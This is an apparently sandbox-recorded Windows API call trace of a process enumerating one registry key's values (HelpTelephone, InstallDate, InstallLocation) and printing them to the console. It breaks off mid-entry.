[0148.583] GetProcessHeap () returned 0x2e0000 [0148.583] GetProcessHeap () returned 0x2e0000 [0148.583] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.583] GetProcessHeap () returned 0x2e0000 [0148.583] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0148.583] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.583] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.583] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.583] GetProcessHeap () returned 0x2e0000 [0148.583] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.583] GetProcessHeap () returned 0x2e0000 [0148.583] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.583] GetProcessHeap () returned 0x2e0000 [0148.583] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.583] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.583] __iob_func () returned 0x7fefd702a80 [0148.583] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.583] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.583] _fileno (_File=0x7fefd702ab0) returned 1 [0148.583] _errno () returned 0xc4bb0 [0148.583] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.583] _errno () returned 0xc4bb0 [0148.583] GetFileType (hFile=0x50) returned 0x1 [0148.584] lstrlenW (lpString=" ") returned 4 [0148.584] GetConsoleOutputCP () returned 0x1b5 [0148.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.584] GetConsoleOutputCP () returned 0x1b5 [0148.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.584] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.584] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.584] lstrlenW (lpString="HelpTelephone") returned 13 [0148.584] __iob_func () returned 0x7fefd702a80 [0148.584] _fileno (_File=0x7fefd702ab0) returned 1 [0148.584] _errno () returned 0xc4bb0 [0148.584] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.584] _errno () returned 0xc4bb0 [0148.584] GetFileType (hFile=0x50) returned 0x1 [0148.584] lstrlenW (lpString="HelpTelephone") returned 13 [0148.584] GetConsoleOutputCP () returned 0x1b5 [0148.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.584] GetConsoleOutputCP () returned 0x1b5 [0148.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0148.584] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.584] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.585] __iob_func () returned 0x7fefd702a80 [0148.585] _fileno (_File=0x7fefd702ab0) returned 1 [0148.585] _errno () returned 0xc4bb0 [0148.585] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.585] _errno () returned 0xc4bb0 [0148.585] GetFileType (hFile=0x50) returned 0x1 [0148.585] lstrlenW (lpString=" ") returned 4 [0148.585] GetConsoleOutputCP () returned 0x1b5 [0148.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.585] GetConsoleOutputCP () returned 0x1b5 [0148.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.585] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.585] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.585] __iob_func () returned 0x7fefd702a80 [0148.585] _fileno (_File=0x7fefd702ab0) returned 1 [0148.585] _errno () returned 0xc4bb0 [0148.585] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.585] _errno () returned 0xc4bb0 [0148.585] GetFileType (hFile=0x50) returned 0x1 [0148.585] lstrlenW (lpString="REG_SZ") returned 6 [0148.585] GetConsoleOutputCP () returned 0x1b5 [0148.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.585] GetConsoleOutputCP () returned 0x1b5 [0148.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.586] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.586] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.586] __iob_func () returned 0x7fefd702a80 [0148.586] _fileno (_File=0x7fefd702ab0) returned 1 [0148.586] _errno () returned 0xc4bb0 [0148.586] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.586] _errno () returned 0xc4bb0 [0148.586] GetFileType (hFile=0x50) returned 0x1 [0148.586] lstrlenW (lpString=" ") returned 4 [0148.586] GetConsoleOutputCP () returned 0x1b5 [0148.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.586] GetConsoleOutputCP () returned 0x1b5 [0148.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.586] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.586] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.586] __iob_func () returned 0x7fefd702a80 [0148.586] _fileno (_File=0x7fefd702ab0) returned 1 [0148.586] _errno () returned 0xc4bb0 [0148.586] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.586] _errno () returned 0xc4bb0 [0148.586] GetFileType (hFile=0x50) returned 0x1 [0148.586] lstrlenW (lpString="") returned 0 [0148.586] __iob_func () returned 0x7fefd702a80 [0148.586] _fileno (_File=0x7fefd702ab0) returned 1 [0148.587] _errno () returned 0xc4bb0 [0148.587] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.587] _errno () returned 0xc4bb0 [0148.587] GetFileType (hFile=0x50) returned 0x1 [0148.587] lstrlenW (lpString="\n") returned 1 [0148.587] GetConsoleOutputCP () returned 0x1b5 [0148.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.587] GetConsoleOutputCP () returned 0x1b5 [0148.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.587] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.587] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.587] GetProcessHeap () returned 0x2e0000 [0148.587] GetProcessHeap () returned 0x2e0000 [0148.587] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.587] GetProcessHeap () returned 0x2e0000 [0148.587] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.587] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.587] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.587] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0148.587] GetProcessHeap () returned 0x2e0000 [0148.587] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0148.587] GetProcessHeap () returned 0x2e0000 [0148.587] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.587] GetProcessHeap () returned 0x2e0000 [0148.587] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.587] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170712", pcbData=0x23f670*=0x12) returned 0x0 [0148.587] __iob_func () returned 0x7fefd702a80 [0148.588] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.588] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.588] _fileno (_File=0x7fefd702ab0) returned 1 [0148.588] _errno () returned 0xc4bb0 [0148.588] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.588] _errno () returned 0xc4bb0 [0148.588] GetFileType (hFile=0x50) returned 0x1 [0148.588] lstrlenW (lpString=" ") returned 4 [0148.588] GetConsoleOutputCP () returned 0x1b5 [0148.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.588] GetConsoleOutputCP () returned 0x1b5 [0148.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.588] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.588] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.588] lstrlenW (lpString="InstallDate") returned 11 [0148.588] __iob_func () returned 0x7fefd702a80 [0148.588] _fileno (_File=0x7fefd702ab0) returned 1 [0148.588] _errno () returned 0xc4bb0 [0148.588] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.588] _errno () returned 0xc4bb0 [0148.588] GetFileType (hFile=0x50) returned 0x1 [0148.588] lstrlenW (lpString="InstallDate") returned 11 [0148.588] GetConsoleOutputCP () returned 0x1b5 [0148.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.589] GetConsoleOutputCP () returned 0x1b5 [0148.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0148.589] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.589] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.589] __iob_func () returned 0x7fefd702a80 [0148.589] _fileno (_File=0x7fefd702ab0) returned 1 [0148.589] _errno () returned 0xc4bb0 [0148.589] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.589] _errno () returned 0xc4bb0 [0148.589] GetFileType (hFile=0x50) returned 0x1 [0148.589] lstrlenW (lpString=" ") returned 4 [0148.589] GetConsoleOutputCP () returned 0x1b5 [0148.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.589] GetConsoleOutputCP () returned 0x1b5 [0148.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.589] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.589] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.589] __iob_func () returned 0x7fefd702a80 [0148.589] _fileno (_File=0x7fefd702ab0) returned 1 [0148.589] _errno () returned 0xc4bb0 [0148.589] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.589] _errno () returned 0xc4bb0 [0148.589] GetFileType (hFile=0x50) returned 0x1 [0148.589] lstrlenW (lpString="REG_SZ") returned 6 [0148.590] GetConsoleOutputCP () returned 0x1b5 [0148.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.590] GetConsoleOutputCP () returned 0x1b5 [0148.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.590] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.590] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.590] __iob_func () returned 0x7fefd702a80 [0148.590] _fileno (_File=0x7fefd702ab0) returned 1 [0148.590] _errno () returned 0xc4bb0 [0148.590] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.590] _errno () returned 0xc4bb0 [0148.590] GetFileType (hFile=0x50) returned 0x1 [0148.590] lstrlenW (lpString=" ") returned 4 [0148.590] GetConsoleOutputCP () returned 0x1b5 [0148.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.590] GetConsoleOutputCP () returned 0x1b5 [0148.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.590] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.590] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.590] __iob_func () returned 0x7fefd702a80 [0148.591] _fileno (_File=0x7fefd702ab0) returned 1 [0148.591] _errno () returned 0xc4bb0 [0148.591] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.591] _errno () returned 0xc4bb0 [0148.591] GetFileType (hFile=0x50) returned 0x1 [0148.591] lstrlenW (lpString="20170712") returned 8 [0148.591] GetConsoleOutputCP () returned 0x1b5 [0148.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170712", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.591] GetConsoleOutputCP () returned 0x1b5 [0148.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170712", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170712", lpUsedDefaultChar=0x0) returned 8 [0148.591] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.591] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.591] __iob_func () returned 0x7fefd702a80 [0148.591] _fileno (_File=0x7fefd702ab0) returned 1 [0148.591] _errno () returned 0xc4bb0 [0148.591] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.591] _errno () returned 0xc4bb0 [0148.591] GetFileType (hFile=0x50) returned 0x1 [0148.591] lstrlenW (lpString="\n") returned 1 [0148.591] GetConsoleOutputCP () returned 0x1b5 [0148.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.592] GetConsoleOutputCP () returned 0x1b5 [0148.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.592] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.592] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.592] GetProcessHeap () returned 0x2e0000 [0148.592] GetProcessHeap () returned 0x2e0000 [0148.592] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.592] GetProcessHeap () returned 0x2e0000 [0148.592] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.592] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0148.592] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.592] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.592] GetProcessHeap () returned 0x2e0000 [0148.592] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.592] GetProcessHeap () returned 0x2e0000 [0148.592] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.592] GetProcessHeap () returned 0x2e0000 [0148.592] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.592] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.592] __iob_func () returned 0x7fefd702a80 [0148.592] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.592] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.592] _fileno (_File=0x7fefd702ab0) returned 1 [0148.592] _errno () returned 0xc4bb0 [0148.592] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.592] _errno () returned 0xc4bb0 [0148.593] GetFileType (hFile=0x50) returned 0x1 [0148.593] lstrlenW (lpString=" ") returned 4 [0148.593] GetConsoleOutputCP () returned 0x1b5 [0148.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.593] GetConsoleOutputCP () returned 0x1b5 [0148.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.593] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.593] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.593] lstrlenW (lpString="InstallLocation") returned 15 [0148.593] __iob_func () returned 0x7fefd702a80 [0148.593] _fileno (_File=0x7fefd702ab0) returned 1 [0148.593] _errno () returned 0xc4bb0 [0148.593] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.593] _errno () returned 0xc4bb0 [0148.593] GetFileType (hFile=0x50) returned 0x1 [0148.593] lstrlenW (lpString="InstallLocation") returned 15 [0148.593] GetConsoleOutputCP () returned 0x1b5 [0148.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.593] GetConsoleOutputCP () returned 0x1b5 [0148.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0148.593] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.594] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.594] __iob_func () returned 0x7fefd702a80 [0148.594] _fileno (_File=0x7fefd702ab0) returned 1 [0148.594] _errno () returned 0xc4bb0 [0148.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.594] _errno () returned 0xc4bb0 [0148.594] GetFileType (hFile=0x50) returned 0x1 [0148.594] lstrlenW (lpString=" ") returned 4 [0148.594] GetConsoleOutputCP () returned 0x1b5 [0148.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.594] GetConsoleOutputCP () returned 0x1b5 [0148.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.594] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.594] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.594] __iob_func () returned 0x7fefd702a80 [0148.594] _fileno (_File=0x7fefd702ab0) returned 1 [0148.594] _errno () returned 0xc4bb0 [0148.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.594] _errno () returned 0xc4bb0 [0148.594] GetFileType (hFile=0x50) returned 0x1 [0148.594] lstrlenW (lpString="REG_SZ") returned 6 [0148.594] GetConsoleOutputCP () returned 0x1b5 [0148.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.595] GetConsoleOutputCP () returned 0x1b5 [0148.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.595] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.595] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.595] __iob_func () returned 0x7fefd702a80 [0148.595] _fileno (_File=0x7fefd702ab0) returned 1 [0148.595] _errno () returned 0xc4bb0 [0148.595] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.595] _errno () returned 0xc4bb0 [0148.595] GetFileType (hFile=0x50) returned 0x1 [0148.595] lstrlenW (lpString=" ") returned 4 [0148.595] GetConsoleOutputCP () returned 0x1b5 [0148.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.595] 